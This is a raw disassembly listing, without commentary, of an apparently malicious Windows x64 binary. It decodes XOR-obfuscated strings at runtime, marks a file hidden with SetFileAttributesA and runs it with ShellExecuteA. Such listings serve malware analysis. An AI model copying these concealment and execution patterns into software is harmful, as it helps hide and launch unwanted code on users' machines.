movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x760], rax
mov qword [rbp + 0x768], r12
movdqa xmm0, xmmword [rbp + 0x760]
pxor xmm0, xmmword [rbp + 0x9d70]
movdqa xmmword [rbp + 0x760], xmm0
lea rdx, [rbp + 0x760]
lea rcx, [rbp + 0x5fe0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8760]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x6000]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9d80], r13
mov qword [rbp + 0x9d88], r12
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x770], rax
mov qword [rbp + 0x778], r12
movdqa xmm0, xmmword [rbp + 0x770]
pxor xmm0, xmmword [rbp + 0x9d80]
movdqa xmmword [rbp + 0x770], xmm0
lea rdx, [rbp + 0x770]
lea rcx, [rbp + 0x6020]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8760]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x6040]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9cc0], r13
mov qword [rbp + 0x9cc8], r12
movabs rax, 0x4294963a4014dd7
mov qword [rbp + 0x780], rax
mov qword [rbp + 0x788], r12
movdqa xmm0, xmmword [rbp + 0x780]
pxor xmm0, xmmword [rbp + 0x9cc0]
movdqa xmmword [rbp + 0x780], xmm0
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x6060]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8760]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x4980]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x8760]
lea rdx, [rbp + 0x4980]
lea rcx, [rbp + 0x8ec0]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x4980]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0x9c90], r13
mov qword [rbp + 0x9c98], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x790], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x798], rax
movdqa xmm0, xmmword [rbp + 0x790]
pxor xmm0, xmmword [rbp + 0x9c90]
movdqa xmmword [rbp + 0x790], xmm0
lea rdx, [rbp + 0x790]
lea rcx, [rbp + 0x6080]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8ec0]
lea rcx, [rbp + 0x60a0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9060]
call fcn.7ff7cbf58a40
cmp qword [rbp + 0x9070], r15
jne 0x7ff7cbf6d252
lea rdx, [rbp + 0x8ec0]
jmp 0x7ff7cbf6d26c
lea rdx, [rbp + 0x9060]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rdx, [rbp + 0x8968]
lea rcx, [rbp + 0x8a40]
call fcn.7ff7cbf35998
lea rcx, [rbp + 0x9060]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8ec0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8760]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9200]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8b20]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8968]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
cmp qword [rbp + 0x8a50], 0x1000
jb 0x7ff7cbf6dfa4
lea rcx, [rbp + 0x85b8]
call fcn.7ff7cbf4f52c
test al, al
jne 0x7ff7cbf6df20
mov edi, dword [rbp + 0x8a50]
lea rcx, [rbp + 0x8a40]
call fcn.7ff7cbf3fb20
mov rbx, rax
lea rdx, [rbp + 0x85b8]
lea rcx, [rbp + 0x60c0]
call fcn.7ff7cbf359c8
xor r9d, r9d
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf4d4e8
test eax, eax
jne 0x7ff7cbf6df16
movabs rbx, 0x70092d06be0b49c3
mov qword [rbp + 0x2850], rbx
movabs rdi, 0x8596229d1ddeb9c9
mov qword [rbp + 0x2858], rdi
movabs rax, 0x7c45e9419ccf65a8
mov qword [rbp + 0x2860], rax
movabs rax, 0x83b338e8fb3346ae
mov qword [rbp + 0x2868], rax
lea r8, [rbp + 0x2870]
lea rdx, [rbp + 0x2850]
lea rcx, [rbp + 0x9c70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9f40], r13
mov qword [rbp + 0x2870], r13
mov qword [rbp + 0x9f48], r12
mov qword [rbp + 0x2878], r12
mov qword [rbp + 0x9f50], rsi
mov qword [rbp + 0x2880], rsi
mov qword [rbp + 0x9f58], r14
mov qword [rbp + 0x2888], r14
lea r8, [rbp + 0x2890]
lea rdx, [rbp + 0x2870]
lea rcx, [rbp + 0x9c60]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xff0], rbx
mov qword [rbp + 0x2890], rbx
mov qword [rbp + 0xff8], rdi
mov qword [rbp + 0x2898], rdi
movabs rax, 0x7c45e9419ccf65a8
mov qword [rbp + 0x1000], rax
mov qword [rbp + 0x28a0], rax
movabs rax, 0x83b338e8fb3346ae
mov qword [rbp + 0x1008], rax
mov qword [rbp + 0x28a8], rax
lea r8, [rbp + 0x28b0]
lea rdx, [rbp + 0x2890]
lea rcx, [rbp + 0x9c40]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0xff0]
pxor xmm0, xmmword [rbp + 0x9f40]
movdqa xmmword [rbp + 0xff0], xmm0
movdqa xmm1, xmmword [rbp + 0x9f50]
pxor xmm1, xmmword [rbp + 0x1000]
movdqa xmmword [rbp + 0x1000], xmm1
lea r8, [0x7ff7cbf93280]
lea rdx, [rbp + 0xff0]
lea rcx, [rbp + 0x60e0]
call fcn.7ff7cbf2ae10
mov rdi, rax
mov qword [rbp + 0x99e0], rax
lea rcx, [rbp + 0x8b40]
call fcn.7ff7cbf4c748
lea rcx, [rbp + 0x8b40]
call fcn.7ff7cbf4e858
lea rcx, [rbp + 0x9c70]
test al, al
je 0x7ff7cbf6d638
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0x28b0], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0x28b8], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0x28c0], rax
mov qword [rbp + 0x28c8], r14
lea r8, [rbp + 0x28d0]
lea rdx, [rbp + 0x28b0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9f20], r13
mov qword [rbp + 0x28d0], r13
mov qword [rbp + 0x9f28], r12
mov qword [rbp + 0x28d8], r12
mov qword [rbp + 0x9f30], rsi
mov qword [rbp + 0x28e0], rsi
mov qword [rbp + 0x9f38], r14
mov qword [rbp + 0x28e8], r14
lea r8, [rbp + 0x28f0]
lea rdx, [rbp + 0x28d0]
lea rcx, [rbp + 0x9c60]
call fcn.7ff7cbf35cf8
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0x1010], rax
mov qword [rbp + 0x28f0], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0x1018], rax
mov qword [rbp + 0x28f8], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0x1020], rax
mov qword [rbp + 0x2900], rax
mov qword [rbp + 0x1028], r14
mov qword [rbp + 0x2908], r14
lea r8, [rbp + 0x2910]
lea rdx, [rbp + 0x28f0]
lea rcx, [rbp + 0x9c40]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x1010]
pxor xmm0, xmmword [rbp + 0x9f20]
movdqa xmmword [rbp + 0x1010], xmm0
movdqa xmm1, xmmword [rbp + 0x9f30]
pxor xmm1, xmmword [rbp + 0x1020]
movdqa xmmword [rbp + 0x1020], xmm1
lea rdx, [rbp + 0x1010]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf38164
lea rcx, [rbp + 0x8b40]
call fcn.7ff7cbf376b0
mov rcx, rdi
call fcn.7ff7cbf376b0
movabs rdi, 0xc642deaea7eac92a
jmp 0x7ff7cbf6e876
movabs rbx, 0x77402d3cb60c4dd6
mov qword [rbp + 0x2910], rbx
movabs rax, 0x86d93ead0bc8f6c5
mov qword [rbp + 0x2918], rax
mov qword [rbp + 0x2920], rsi
mov qword [rbp + 0x2928], r14
lea r8, [rbp + 0x2930]
lea rdx, [rbp + 0x2910]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9f00], r13
mov qword [rbp + 0x2930], r13
mov qword [rbp + 0x9f08], r12
mov qword [rbp + 0x2938], r12
mov qword [rbp + 0x9f10], rsi
mov qword [rbp + 0x2940], rsi
mov qword [rbp + 0x9f18], r14
mov qword [rbp + 0x2948], r14
lea r8, [rbp + 0x2950]
lea rdx, [rbp + 0x2930]
lea rcx, [rbp + 0x9c60]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x1030], rbx
mov qword [rbp + 0x2950], rbx
movabs rax, 0x86d93ead0bc8f6c5
mov qword [rbp + 0x1038], rax
mov qword [rbp + 0x2958], rax
mov qword [rbp + 0x1040], rsi
mov qword [rbp + 0x2960], rsi
mov qword [rbp + 0x1048], r14
mov qword [rbp + 0x2968], r14
lea r8, [rbp + 0x2970]
lea rdx, [rbp + 0x2950]
lea rcx, [rbp + 0x9c40]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x1030]
pxor xmm0, xmmword [rbp + 0x9f00]
movdqa xmmword [rbp + 0x1030], xmm0
movdqa xmm1, xmmword [rbp + 0x9f10]
pxor xmm1, xmmword [rbp + 0x1040]
movdqa xmmword [rbp + 0x1040], xmm1
lea rdx, [rbp + 0x1030]
lea rcx, [rbp + 0x6100]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8b40]
lea rcx, [rbp + 0x6120]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9240]
call fcn.7ff7cbf4c4e4
lea rcx, [rbp + 0x8a60]
call fcn.7ff7cbf35ca8
lea rdx, [rbp + 0x8b40]
lea rcx, [rbp + 0x6140]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x2060], rax
mov qword [rbp + 0x2068], r12
lea r8, [rbp + 0x2070]
lea rdx, [rbp + 0x2060]
lea rcx, [rbp + 0x9d90]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9ca0], r13
mov qword [rbp + 0x2050], r13
mov qword [rbp + 0x9ca8], r12
mov qword [rbp + 0x2058], r12
lea r8, [rbp + 0x2060]
lea rdx, [rbp + 0x2050]
lea rcx, [rbp + 0x9da0]
call fcn.7ff7cbf35cf8
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x7a0], rax
mov qword [rbp + 0x2040], rax
mov qword [rbp + 0x7a8], r12
mov qword [rbp + 0x2048], r12
lea r8, [rbp + 0x2050]
lea rdx, [rbp + 0x2040]
lea rcx, [rbp + 0x9db0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x7a0]
pxor xmm0, xmmword [rbp + 0x9ca0]
movdqa xmmword [rbp + 0x7a0], xmm0
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp + 0x6160]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8a60]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x9240]
lea rcx, [rbp + 0x6180]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x2030], rax
mov qword [rbp + 0x2038], r12
lea r8, [rbp + 0x2040]
lea rdx, [rbp + 0x2030]
lea rcx, [rbp + 0x9dc0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9cb0], r13
mov qword [rbp + 0x2020], r13
mov qword [rbp + 0x9cb8], r12
mov qword [rbp + 0x2028], r12
lea r8, [rbp + 0x2030]
lea rdx, [rbp + 0x2020]
lea rcx, [rbp + 0x9de0]
call fcn.7ff7cbf35cf8
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x7b0], rax
mov qword [rbp + 0x2000], rax
mov qword [rbp + 0x7b8], r12
mov qword [rbp + 0x2008], r12
lea r8, [rbp + 0x2010]
lea rdx, [rbp + 0x2000]
lea rcx, [rbp + 0x9df0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x7b0]
pxor xmm0, xmmword [rbp + 0x9cb0]
movdqa xmmword [rbp + 0x7b0], xmm0
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x61a0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8a60]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x61c0]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x1ff0], rax
mov qword [rbp + 0x1ff8], r12
lea r8, [rbp + 0x2000]
lea rdx, [rbp + 0x1ff0]
lea rcx, [rbp + 0x9dd0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9bd0], r13
mov qword [rbp + 0x1fe0], r13
mov qword [rbp + 0x9bd8], r12
mov qword [rbp + 0x1fe8], r12
lea r8, [rbp + 0x1ff0]
lea rdx, [rbp + 0x1fe0]
lea rcx, [rbp + 0x9e00]
call fcn.7ff7cbf35cf8
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x7c0], rax
mov qword [rbp + 0x1fd0], rax
mov qword [rbp + 0x7c8], r12
mov qword [rbp + 0x1fd8], r12
lea r8, [rbp + 0x1fe0]
lea rdx, [rbp + 0x1fd0]
lea rcx, [rbp + 0x9e10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x7c0]
pxor xmm0, xmmword [rbp + 0x9bd0]
movdqa xmmword [rbp + 0x7c0], xmm0
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x61e0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8a60]
call fcn.7ff7cbf58f9c
mov rdx, rdi
lea rcx, [rbp + 0x6200]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x664b7854b6534bc1
mov qword [rbp + 0x2d50], rax
movabs rax, 0xd4d760965bd9acc4
mov qword [rbp + 0x2d58], rax
movabs rax, 0x6500ee55da9d2e92
mov qword [rbp + 0x2d60], rax
movabs rax, 0xe58a098beb704fad
mov qword [rbp + 0x2d68], rax
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x2d70], rax
movabs rdi, 0xc642deaea7eac92a
mov qword [rbp + 0x2d78], rdi
lea r8, [rbp + 0x2d80]
lea rdx, [rbp + 0x2d50]
lea rcx, [rbp + 0x9c30]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa170], r13
mov qword [rbp + 0x2db0], r13
mov qword [rbp + 0xa178], r12
mov qword [rbp + 0x2db8], r12
mov qword [rbp + 0xa180], rsi
mov qword [rbp + 0x2dc0], rsi
mov qword [rbp + 0xa188], r14
mov qword [rbp + 0x2dc8], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0xa190], rax
mov qword [rbp + 0x2dd0], rax
mov qword [rbp + 0xa198], rdi
mov qword [rbp + 0x2dd8], rdi
lea r8, [rbp + 0x2de0]
lea rdx, [rbp + 0x2db0]
lea rcx, [rbp + 0x9e20]
call fcn.7ff7cbf35cf8
movabs rax, 0x664b7854b6534bc1
mov qword [rbp + 0x14f0], rax
mov qword [rbp + 0x2e70], rax
movabs rax, 0xd4d760965bd9acc4
mov qword [rbp + 0x14f8], rax
mov qword [rbp + 0x2e78], rax
movabs rax, 0x6500ee55da9d2e92
mov qword [rbp + 0x1500], rax
mov qword [rbp + 0x2e80], rax
movabs rax, 0xe58a098beb704fad
mov qword [rbp + 0x1508], rax
mov qword [rbp + 0x2e88], rax
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x1510], rax
mov qword [rbp + 0x2e90], rax
mov qword [rbp + 0x1518], rdi
mov qword [rbp + 0x2e98], rdi
lea r8, [rbp + 0x2ea0]
lea rdx, [rbp + 0x2e70]
lea rcx, [rbp + 0x9e30]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x14f0]
pxor xmm0, xmmword [rbp + 0xa170]
movdqa xmmword [rbp + 0x14f0], xmm0
movdqa xmm1, xmmword [rbp + 0xa180]
pxor xmm1, xmmword [rbp + 0x1500]
movdqa xmmword [rbp + 0x1500], xmm1
movdqa xmm0, xmmword [rbp + 0xa190]
pxor xmm0, xmmword [rbp + 0x1510]
movdqa xmmword [rbp + 0x1510], xmm0
lea rdx, [rbp + 0x14f0]
lea rcx, [rbp + 0x6220]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8a60]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x49a0]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x8a60]
lea rdx, [rbp + 0x49a0]
lea rcx, [rbp + 0x9220]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x49a0]
call fcn.7ff7cbf3ecd0
movabs rbx, 0x76763a16a6035cd6
mov qword [rbp + 0x1fc0], rbx
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x1fc8], rax
lea r8, [rbp + 0x1fd0]
lea rdx, [rbp + 0x1fc0]
lea rcx, [rbp + 0x99f0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9be0], r13
mov qword [rbp + 0x1fb0], r13
mov qword [rbp + 0x9be8], r12
mov qword [rbp + 0x1fb8], r12
lea r8, [rbp + 0x1fc0]
lea rdx, [rbp + 0x1fb0]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x7d0], rbx
mov qword [rbp + 0x1fa0], rbx
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x7d8], rax
mov qword [rbp + 0x1fa8], rax
lea r8, [rbp + 0x1fb0]
lea rdx, [rbp + 0x1fa0]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x7d0]
pxor xmm0, xmmword [rbp + 0x9be0]
movdqa xmmword [rbp + 0x7d0], xmm0
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp + 0x6240]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x9220]
lea rcx, [rbp + 0x6260]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8ee0]
call fcn.7ff7cbf58a40
movabs rbx, 0x625a3a06b1015dd6
mov qword [rbp + 0x1f90], rbx
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x1f98], rax
lea r8, [rbp + 0x1fa0]
lea rdx, [rbp + 0x1f90]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9bf0], r13
mov qword [rbp + 0x1f80], r13
mov qword [rbp + 0x9bf8], r12
mov qword [rbp + 0x1f88], r12
lea r8, [rbp + 0x1f90]
lea rdx, [rbp + 0x1f80]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x7e0], rbx
mov qword [rbp + 0x1f70], rbx
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x7e8], rax
mov qword [rbp + 0x1f78], rax
lea r8, [rbp + 0x1f80]
lea rdx, [rbp + 0x1f70]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x7e0]
pxor xmm0, xmmword [rbp + 0x9bf0]
movdqa xmmword [rbp + 0x7e0], xmm0
lea rdx, [rbp + 0x7e0]
lea rcx, [rbp + 0x8ee0]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf6deda
lea rdx, [rbp + 0x8ee0]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x8ee0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9220]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8a60]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9240]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8b40]
jmp 0x7ff7cbf6e85b
movabs rdi, 0xc642deaea7eac92a
lea rcx, [rbp + 0x85b8]
call fcn.7ff7cbf3fb20
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetFileAttributesA]
lea ebx, [rax + 2]
lea rcx, [rbp + 0x85b8]
call fcn.7ff7cbf3fb20
mov rcx, rax
mov edx, ebx
call qword [sym.imp.kernel32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x85b8]
call fcn.7ff7cbf3fb20
mov r8, rax
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.shell32.dll_ShellExecuteA]
lea rcx, [rbp + 0x85b8]
call fcn.7ff7cbf3fb20
mov rcx, rax
call fcn.7ff7cbf62844
lea rcx, [rbp + 0x8a40]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x85b8]
jmp 0x7ff7cbf6b533
mov qword [rbp + 0x9ee0], r13
mov qword [rbp + 0x9ee8], r12
mov qword [rbp + 0x9ef0], rsi
mov qword [rbp + 0x9ef8], r14
movabs rbx, 0x70092d06be0b49c3
mov qword [rbp + 0x1050], rbx
movabs rax, 0x84da309301dfb9c9
mov qword [rbp + 0x1058], rax
movabs rax, 0x2c47ed43b3ca3793
mov qword [rbp + 0x1060], rax
movabs rax, 0x83934a87bd615bad
mov qword [rbp + 0x1068], rax
movdqa xmm0, xmmword [rbp + 0x1050]
pxor xmm0, xmmword [rbp + 0x9ee0]
movdqa xmmword [rbp + 0x1050], xmm0
movdqa xmm1, xmmword [rbp + 0x9ef0]
pxor xmm1, xmmword [rbp + 0x1060]
movdqa xmmword [rbp + 0x1060], xmm1
lea r8, [0x7ff7cbf93280]
lea rdx, [rbp + 0x1050]
lea rcx, [rbp + 0x6280]
call fcn.7ff7cbf2ae10
mov qword [rbp + 0x99e0], rax
lea rcx, [rbp + 0x8b60]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x8b70], r15
jne 0x7ff7cbf6e124
mov qword [rbp + 0x9ec0], r13
mov qword [rbp + 0x9ec8], r12
mov qword [rbp + 0x9ed0], rsi
mov qword [rbp + 0x9ed8], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0x1070], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0x1078], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0x1080], rax
mov qword [rbp + 0x1088], r14
movdqa xmm0, xmmword [rbp + 0x1070]
pxor xmm0, xmmword [rbp + 0x9ec0]
movdqa xmmword [rbp + 0x1070], xmm0
movdqa xmm1, xmmword [rbp + 0x9ed0]
pxor xmm1, xmmword [rbp + 0x1080]
movdqa xmmword [rbp + 0x1080], xmm1
lea rdx, [rbp + 0x1070]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3f4b0
lea rcx, [rbp + 0x8b60]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
jmp 0x7ff7cbf6e876
mov qword [rbp + 0x9ea0], r13
mov qword [rbp + 0x9ea8], r12
mov qword [rbp + 0x9eb0], rsi
mov qword [rbp + 0x9eb8], r14
movabs rax, 0x77402d3cb60c4dd6
mov qword [rbp + 0xef0], rax
movabs rax, 0x86d93ead0bc8f6c5
mov qword [rbp + 0xef8], rax
mov qword [rbp + 0xf00], rsi
mov qword [rbp + 0xf08], r14
movdqa xmm0, xmmword [rbp + 0xef0]
pxor xmm0, xmmword [rbp + 0x9ea0]
movdqa xmmword [rbp + 0xef0], xmm0
movdqa xmm1, xmmword [rbp + 0x9eb0]
pxor xmm1, xmmword [rbp + 0xf00]
movdqa xmmword [rbp + 0xf00], xmm1
lea rdx, [rbp + 0xef0]
lea rcx, [rbp + 0x62a0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8b60]
lea rcx, [rbp + 0x62c0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9280]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x87e0], r15
mov qword [rbp + 0x87f0], r15
mov qword [rbp + 0x87f8], 0xf
lea rdx, [rbp + 0x8b60]
lea rcx, [rbp + 0x62e0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9c00], r13
mov qword [rbp + 0x9c08], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x7f0], rax
mov qword [rbp + 0x7f8], r12
movdqa xmm0, xmmword [rbp + 0x7f0]
pxor xmm0, xmmword [rbp + 0x9c00]
movdqa xmmword [rbp + 0x7f0], xmm0
lea rdx, [rbp + 0x7f0]
lea rcx, [rbp + 0x6300]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x87e0]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x9280]
lea rcx, [rbp + 0x6320]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9c10], r13
mov qword [rbp + 0x9c18], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x800], rax
mov qword [rbp + 0x808], r12
movdqa xmm0, xmmword [rbp + 0x800]
pxor xmm0, xmmword [rbp + 0x9c10]
movdqa xmmword [rbp + 0x800], xmm0
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x6340]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x87e0]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x6360]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x1f60], rax
mov qword [rbp + 0x1f68], r12
lea r8, [rbp + 0x1f70]
lea rdx, [rbp + 0x1f60]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9c20], r13
mov qword [rbp + 0x1f50], r13
mov qword [rbp + 0x9c28], r12
mov qword [rbp + 0x1f58], r12
lea r8, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f50]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x810], rax
mov qword [rbp + 0x1f40], rax
mov qword [rbp + 0x818], r12
mov qword [rbp + 0x1f48], r12
lea r8, [rbp + 0x1f50]
lea rdx, [rbp + 0x1f40]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x810]
pxor xmm0, xmmword [rbp + 0x9c20]
movdqa xmmword [rbp + 0x810], xmm0
lea rdx, [rbp + 0x810]
lea rcx, [rbp + 0x6380]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x87e0]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x63a0]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x664b7854b6534bc1
mov qword [rbp + 0x2de0], rax
movabs rax, 0xd4d760965bd9acc4
mov qword [rbp + 0x2de8], rax
movabs rax, 0x6500ee55da9d2e92
mov qword [rbp + 0x2df0], rax
movabs rax, 0xe58a098beb704fad
mov qword [rbp + 0x2df8], rax
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x2e00], rax
mov qword [rbp + 0x2e08], rdi
lea r8, [rbp + 0x2e10]
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9b20], r13
mov qword [rbp + 0x2d20], r13
mov qword [rbp + 0x9b28], r12
mov qword [rbp + 0x2d28], r12
mov qword [rbp + 0x9b30], rsi
mov qword [rbp + 0x2d30], rsi
mov qword [rbp + 0x9b38], r14
mov qword [rbp + 0x2d38], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x9b40], rax
mov qword [rbp + 0x2d40], rax
mov qword [rbp + 0x9b48], rdi
mov qword [rbp + 0x2d48], rdi
lea r8, [rbp + 0x2d50]
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
movabs rax, 0x664b7854b6534bc1
mov qword [rbp + 0x14c0], rax
mov qword [rbp + 0x2cc0], rax
movabs rax, 0xd4d760965bd9acc4
mov qword [rbp + 0x14c8], rax
mov qword [rbp + 0x2cc8], rax
movabs rax, 0x6500ee55da9d2e92
mov qword [rbp + 0x14d0], rax
mov qword [rbp + 0x2cd0], rax
movabs rax, 0xe58a098beb704fad
mov qword [rbp + 0x14d8], rax
mov qword [rbp + 0x2cd8], rax
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x14e0], rax
mov qword [rbp + 0x2ce0], rax
mov qword [rbp + 0x14e8], rdi
mov qword [rbp + 0x2ce8], rdi
lea r8, [rbp + 0x2cf0]
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x9c70]
call fcn.7ff7cbf35cf8
